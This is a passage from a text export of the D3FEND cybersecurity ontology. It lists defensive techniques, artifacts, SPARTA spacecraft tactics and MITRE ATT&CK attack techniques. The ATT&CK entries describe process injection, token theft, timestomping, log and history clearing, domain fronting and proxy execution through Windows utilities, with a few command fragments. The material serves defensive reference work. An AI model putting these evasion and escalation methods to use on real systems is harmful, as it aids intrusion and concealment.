  some values from: Credential
subclass of: RestoreAccess

Remote Resource
type: Class
definition: In computing, a remote resource is a computer resource made available from one host to other hosts on a computer network. It is a device or piece of information on a computer that can be remotely accessed from another computer, typically via a local area network or an enterprise intranet.
subclass of: Resource

Repository
type: Class
definition: A centralized digital storage location where code, files, and related resources are systematically organized, managed, and maintained.
subclass of: DigitalInformationBearer

Restore Configuration
type: Class
type: NamedIndividual
d3fend-id: D3-RC
definition: Restoring an software configuration.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: ConfigurationResource
subclass of: Restriction
  on property: restores
  some values from: ConfigurationResource
subclass of: RestoreObject

Restore Database
type: Class
type: NamedIndividual
d3fend-id: D3-RD
definition: Restoring the data in a database.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: Database
subclass of: Restriction
  on property: restores
  some values from: Database
subclass of: RestoreObject

Restore Disk Image
type: Class
type: NamedIndividual
d3fend-id: D3-RDI
definition: Restoring a previously captured disk image a hard drive.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
subclass of: RestoreObject

Restore Email
type: Class
type: NamedIndividual
d3fend-id: D3-RE
definition: Restoring an email for an entity to access.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: Email
subclass of: Restriction
  on property: restores
  some values from: Email
subclass of: RestoreFile

Restore Network Access
type: Class
type: NamedIndividual
d3fend-id: D3-RNA
definition: Restoring a entity's access to a computer network.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: Host
subclass of: Restriction
  on property: restores
  some values from: Host
subclass of: RestoreAccess

Restore Software
type: Class
type: NamedIndividual
d3fend-id: D3-RS
definition: Restoring software to a host.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: Software
subclass of: Restriction
  on property: restores
  some values from: Software
subclass of: RestoreObject

Reverse Resolution IP Denylisting
type: Class
type: NamedIndividual
blocks: OutboundInternetDNSLookupTraffic
d3fend-id: D3-RRID
definition: Blocking a reverse lookup based on the query's IP address value.
kb-article: ## How it works This technique prevents a client from learning domains deemed to be potentially malicious, which would have been delivered via reverse resolution responses over the DNS protocol. Queries for reverse resolution requests (that is, requests where IP(s) are sent and a domain is returned) are collected, and the IP address(es) included in the query are examined. If the IP address(es) are in a range included in the blacklist, then the query is dropped. ## Considerations - The blacklist will have to be maintained and will need to be kept up to date with identified maintenance cycles to ensure lists are not stale. - DNS query traffic can be transmitted over many different protocols, which presents a challenge to implementing methods to extract all DNS query IP address value(s). - DNS has historically used UDP port 53, with TCP port 53 instead used for responses over 512 bytes or after a lack of response over UDP. - Usage of new protocols to provide confidentiality for DNS traffic, such as DoH (DNS over HTTPS) and DoT (DNS over TLS), complicates collection of the IP address(es) in DNS queries. These protocols have often been enabled in browser settings transparently after a browser update, with DNS queries proxied over one of these cryptographic protocols through a specified host.
kb-reference: Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries
synonym: Reverse Resolution IP Blacklisting
subclass of: Restriction
  on property: blocks
  some values from: OutboundInternetDNSLookupTraffic
subclass of: DNSDenylisting

Router
type: Class
definition: A router is a networking device that forwards data packets between computer networks. Routers perform the traffic directing functions on the Internet. Data sent through the internet, such as a web page or email, is in the form of data packets. A packet is typically forwarded from one router to another router through the networks that constitute an internetwork (e.g. the Internet) until it reaches its destination node.
subclass of: ComputerNetworkNode

Reconnaissance - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to gather information they can use to plan future operations.
display-order: 1
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Reconnaissance

Resource Development - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to establish resources they can use to support operations.
display-order: 2
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Resource Development

Initial Access - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to get point of presence/command execution on the spacecraft.
display-order: 3
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Initial Access

Execution - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to execute malicious code on the spacecraft.
display-order: 4
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Execution

Persistence - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to maintain their foothold/access to command/execute code on the spacecraft.
display-order: 5
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Persistence

Defense Evasion - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to avoid being detected.
display-order: 6
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Defense Evasion

Lateral Movement - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to move through across sub-systems of the spacecraft.
display-order: 7
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Lateral Movement

Exfiltration - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to steal information.
display-order: 8
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Exfiltration

Impact - SPARTA
type: SPARTATactic
type: Class
type: NamedIndividual
definition: Threat actor is trying to manipulate, interrupt, or destroy the space system(s) and/or data.
display-order: 9
subclass of: OffensiveTactic
subclass of: SPARTATactic
preferred label: Impact

Scheduled Job Enable Event
type: Class
definition: An event where a scheduled task is activated, allowing it to execute according to its defined parameters.
subclass of: Restriction
  on property: preceded-by
  some values from: ScheduledJobCreationEvent
subclass of: ScheduledJobEvent

Semi-supervised Transductive Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-SSTL
definition: The goal of transductive learning is to infer the correct labels for the given unlabeled data x_{l+1},... ,x_{l+u} only
kb-article: ## References Semi-Supervised Learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Semi-Supervised_Learning#Semi-supervised_learning). Zhou, D., & Li, M. (2005). Semi-supervised learning by higher order regularization. In Proceedings of the 43rd Annual Meeting of the Association for Computational Linguistics (ACL) (pp. 1-9). [Link](https://www.cs.sfu.ca/~anoop/papers/pdf/semisup_naacl.pdf).
subclass of: Semi-SupervisedLearning

Service Account
type: Class
definition: A service account is a type of account used by an application or service to interact with the operating system.
synonym: System Account
subclass of: UserAccount

Service Enable Event
type: Class
definition: An event representing the activation of a service application, allowing it to start and provide its background or networked functionality.
subclass of: Restriction
  on property: preceded-by
  some values from: ServiceInstallationEvent
subclass of: Application Enable Event
subclass of: ServiceEvent

Service Provider
type: Class
definition: A service provider offers delivery of intangible outputs such as expertise, support, or access to resources to individuals, organizations, or other entities.
subclass of: Provider

Service Stop Event
type: Class
definition: An event capturing the cessation of a service application’s operations, transitioning it to an inactive state while ceasing its functionality to clients or dependent systems.
subclass of: Restriction
  on property: preceded-by
  some values from: ServiceStartEvent
subclass of: Application Stop Event
subclass of: ServiceEvent

Session Termination
type: Class
type: NamedIndividual
d3fend-id: D3-ST
definition: Forcefully end all active sessions associated with compromised accounts or devices.
deletes: Session
kb-article: Defined in NIST 800-53 as AC-12.
kb-reference: Reference-NIST-Special-Publication-800-53A-Revision-5
subclass of: Restriction
  on property: deletes
  some values from: Session
subclass of: ProcessEviction

Shortcut File
type: Class
definition: A shortcut file, or shortcut, is a handle that allows the user to find a file or resource located in a different directory or folder from the place where the shortcut is located. Shortcuts, which are supported by the graphical file browsers of some operating systems, may resemble symbolic links but differ in a number of important ways. One difference is what type of software is able to follow them: - Symbolic links are automatically resolved by the file system. Any software program, upon accessing a symbolic link, will see the target instead, whether the program is aware of symbolic links or not. - Shortcuts are treated like ordinary files by the file system and by software programs that are not aware of them. Only software programs that understand shortcuts (such as the Windows shell and file browsers) treat them as references to other files. Another difference are the capabilities of the mechanism: - Microsoft Windows shortcuts normally refer to a destination by an absolute path (starting from the root directory), whereas POSIX symbolic links can refer to destinations via either an absolute or a relative path. The latter is useful if both the location and destination of the symbolic link share a common path prefix[clarification needed], but that prefix is not yet known when the symbolic link is created (e.g., in an archive file that can be unpacked anywhere). - Microsoft Windows application shortcuts contain additional metadata that can be associated with the destination, whereas POSIX symbolic links are just strings that will be interpreted as absolute or relative pathnames. - Unlike symbolic links, Windows shortcuts maintain their references to their targets even when the target is moved or renamed. Windows domain clients may subscribe to a Windows service called Distributed Link Tracking to track the changes in files and folders to which they are interested. The service maintains the integrity of shortcuts, even when files and folders are moved across the netwo…
subclass of: File

Simulation
type: Class
subclass of: Generation

Skewness
type: Class
type: NamedIndividual
d3fend-id: D3A-SKE
definition: Skewness is a measure of the asymmetry of the probability distribution of a real-valued random variable about its mean. The standardized moment of a probability distribution function.
kb-article: ## References Wikipedia. (n.d.). Skewness. [Link](https://en.wikipedia.org/wiki/Skewness)
subclass of: DistributionProperties

Software Library
type: Class
type: NamedIndividual
contains: SoftwareLibraryFile
definition: A software library is a collection of software components that are used to build a software product.
subclass of: Restriction
  on property: contains
  some values from: SoftwareLibraryFile
subclass of: Software

Standard Deviation
type: Class
type: NamedIndividual
d3fend-id: D3A-SD
definition: The standard deviation is a measure of the amount of variation or dispersion of a set of values.
kb-article: ## References Wikipedia. (n.d.). Standard deviation. [Link](https://en.wikipedia.org/wiki/Standard_deviation)
synonym: SD
subclass of: Variability

Static Analysis Tool
type: Class
definition: A static [program] analysis tool performs an automated analysis of computer software without actually executing programs, in contrast with dynamic analysis, which is analysis performed on programs while they are executing. In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code.
subclass of: CodeAnalyzer
alternative label: Static Program Analysis Tool

Storage Snapshot
type: Class
definition: A storage snapshot is a copy of a storage medium or system environment at a point in time.
subclass of: Computing Snapshot

System
type: Class
definition: An artifact (instrumentality) that combines interrelated interacting artifacts designed to work as a coherent entity. [Note that not all digital artifacts are systems nor are all systems digital artifacts.]
subclass of: Artifact

Exfiltration Over Other Network Medium
type: Class
type: NamedIndividual
attack-id: T1011
definition: Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
produces: InternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InternetNetworkTraffic
subclass of: ExfiltrationTechnique

Automated Exfiltration
type: Class
type: NamedIndividual
attack-id: T1020
definition: Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
produces: InternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InternetNetworkTraffic
subclass of: ExfiltrationTechnique

Remote Desktop Protocol
type: Class
type: NamedIndividual
attack-id: T1021.001
creates: RDPSession
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
produces: AdministrativeNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: AdministrativeNetworkTraffic
subclass of: Restriction
  on property: creates
  some values from: RDPSession
subclass of: T1021

SMB/Windows Admin Shares
type: Class
attack-id: T1021.002
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
subclass of: T1021

Windows Remote Management
type: Class
attack-id: T1021.006
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
subclass of: T1021

Binary Padding
type: Class
type: NamedIndividual
attack-id: T1027.001
definition: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
modifies: ExecutableBinary
subclass of: Restriction
  on property: modifies
  some values from: ExecutableBinary
subclass of: T1027

Software Packing
type: Class
type: NamedIndividual
attack-id: T1027.002
definition: Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
obfuscates: ExecutableFile
subclass of: Restriction
  on property: obfuscates
  some values from: ExecutableFile
subclass of: T1027

Compile After Delivery
type: Class
type: NamedIndividual
attack-id: T1027.004
creates: ExecutableFile
definition: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
subclass of: Restriction
  on property: creates
  some values from: ExecutableFile
subclass of: T1027

Indicator Removal from Tools
type: Class
attack-id: T1027.005
definition: Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
subclass of: T1027

Space after Filename
type: Class
type: NamedIndividual
attack-id: T1036.006
creates: File
definition: Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
subclass of: Restriction
  on property: creates
  some values from: File
subclass of: T1036

RC Scripts
type: Class
type: NamedIndividual
attack-id: T1037.004
definition: Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
modifies: SystemInitScript
subclass of: Restriction
  on property: modifies
  some values from: SystemInitScript
subclass of: T1037

Startup Items
type: Class
type: NamedIndividual
attack-id: T1037.005
definition: Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)
modifies: SystemStartupDirectory
subclass of: Restriction
  on property: modifies
  some values from: SystemStartupDirectory
subclass of: T1037

Exfiltration Over Physical Medium
type: Class
attack-id: T1052
definition: Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
subclass of: ExfiltrationTechnique

At
type: Class
attack-id: T1053.002
definition: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
subclass of: T1053

Extra Window Memory Injection
type: Class
attack-id: T1055.011
definition: Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
subclass of: T1055

Process Hollowing
type: Class
type: NamedIndividual
attack-id: T1055.012
definition: Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
modifies: ProcessCodeSegment
subclass of: Restriction
  on property: modifies
  some values from: ProcessCodeSegment
subclass of: T1055

Process Doppelgänging
type: Class
type: NamedIndividual
attack-id: T1055.013
definition: Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
invokes: CreateProcess
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1055

GUI Input Capture
type: Class
type: NamedIndividual
accesses: GraphicalUserInterface
attack-id: T1056.002
definition: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).
subclass of: Restriction
  on property: accesses
  some values from: GraphicalUserInterface
subclass of: T1056

Credential API Hooking
type: Class
type: NamedIndividual
attack-id: T1056.004
definition: Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
may-modify: ProcessCodeSegment
subclass of: Restriction
  on property: may-modify
  some values from: ProcessCodeSegment
subclass of: T1056

PowerShell
type: Class
attack-id: T1059.001
definition: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
subclass of: T1059

AppleScript
type: Class
attack-id: T1059.002
definition: Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
subclass of: T1059

Clear Command History
type: Class
type: NamedIndividual
attack-id: T1070.003
definition: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
modifies: CommandHistoryLog
subclass of: Restriction
  on property: modifies
  some values from: CommandHistoryLog
subclass of: T1070

File Deletion
type: Class
type: NamedIndividual
attack-id: T1070.004
definition: Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
deletes: File
may-modify: File
subclass of: Restriction
  on property: may-modify
  some values from: File
subclass of: Restriction
  on property: deletes
  some values from: File
subclass of: T1070

Network Share Connection Removal
type: Class
type: NamedIndividual
attack-id: T1070.005
definition: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use)
unmounts: NetworkFileShareResource
subclass of: Restriction
  on property: unmounts
  some values from: NetworkFileShareResource
subclass of: T1070

Timestomp
type: Class
type: NamedIndividual
attack-id: T1070.006
definition: Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
forges: FileSystemMetadata
subclass of: Restriction
  on property: forges
  some values from: FileSystemMetadata
subclass of: T1070

Software Deployment Tools
type: Class
type: NamedIndividual
adds: File
attack-id: T1072
definition: Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
executes: SoftwareDeploymentTool
installs: Software
subclass of: Restriction
  on property: adds
  some values from: File
subclass of: Restriction
  on property: installs
  some values from: Software
subclass of: Restriction
  on property: executes
  some values from: SoftwareDeploymentTool
subclass of: ExecutionTechnique
subclass of: LateralMovementTechnique

Multi-hop Proxy
type: Class
type: NamedIndividual
attack-id: T1090.003
definition: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: T1090

Domain Fronting
type: Class
type: NamedIndividual
attack-id: T1090.004
definition: Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
produces: OutboundInternetEncryptedWebTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetEncryptedWebTraffic
subclass of: T1090

Non-Application Layer Protocol
type: Class
type: NamedIndividual
attack-id: T1095
definition: Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

Token Impersonation/Theft
type: Class
type: NamedIndividual
attack-id: T1134.001
copies: AccessToken
definition: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.
subclass of: Restriction
  on property: copies
  some values from: AccessToken
subclass of: T1134

Parent PID Spoofing
type: Class
type: NamedIndividual
attack-id: T1134.004
definition: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
invokes: CreateProcess
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1134

SID-History Injection
type: Class
type: NamedIndividual
attack-id: T1134.005
definition: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
modifies: AccessControlConfiguration
subclass of: Restriction
  on property: modifies
  some values from: AccessControlConfiguration
subclass of: T1134

Compiled HTML File
type: Class
type: NamedIndividual
attack-id: T1218.001
definition: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
invokes: CreateFile
invokes: CreateProcess
subclass of: Restriction
  on property: invokes
  some values from: CreateFile
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1218

Control Panel
type: Class
type: NamedIndividual
attack-id: T1218.002
definition: Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.
invokes: CreateProcess
may-modify: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1218

CMSTP
type: Class
type: NamedIndividual
attack-id: T1218.003
definition: Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
invokes: CreateProcess
may-produce: NetworkTraffic
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: may-produce
  some values from: NetworkTraffic
subclass of: T1218

InstallUtil
type: Class
attack-id: T1218.004
definition: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe.
subclass of: T1218

Mshta
type: Class
type: NamedIndividual
attack-id: T1218.005
definition: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
interprets: MicrosoftHTMLApplication
invokes: CreateProcess
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: interprets
  some values from: MicrosoftHTMLApplication
subclass of: T1218

Regsvcs/Regasm
type: Class
attack-id: T1218.009
definition: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
subclass of: T1218

Regsvr32
type: Class
attack-id: T1218.010
definition: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)
subclass of: T1218

Rundll32
type: Class
type: NamedIndividual
attack-id: T1218.011
definition: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
invokes: CreateProcess
loads: SharedLibraryFile
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: loads
  some values from: SharedLibraryFile
subclass of: T1218

GUI Input Capture - ATTACK Mobile
type: Class
attack-id: T1417.002
definition: Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)
subclass of: T1417
preferred label: GUI Input Capture

Software Discovery - ATTACK Mobile
type: Class
attack-id: T1418
definition: Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions.
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: Software Discovery

System Network Connections Discovery - ATTACK Mobile
type: Class
attack-id: T1421
definition: Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network.
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: System Network Connections Discovery

Application Layer Protocol - ATTACK Mobile
type: Class
attack-id: T1437
definition: Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Application Layer Protocol

Data Destruction
type: Class
attack-id: T1485
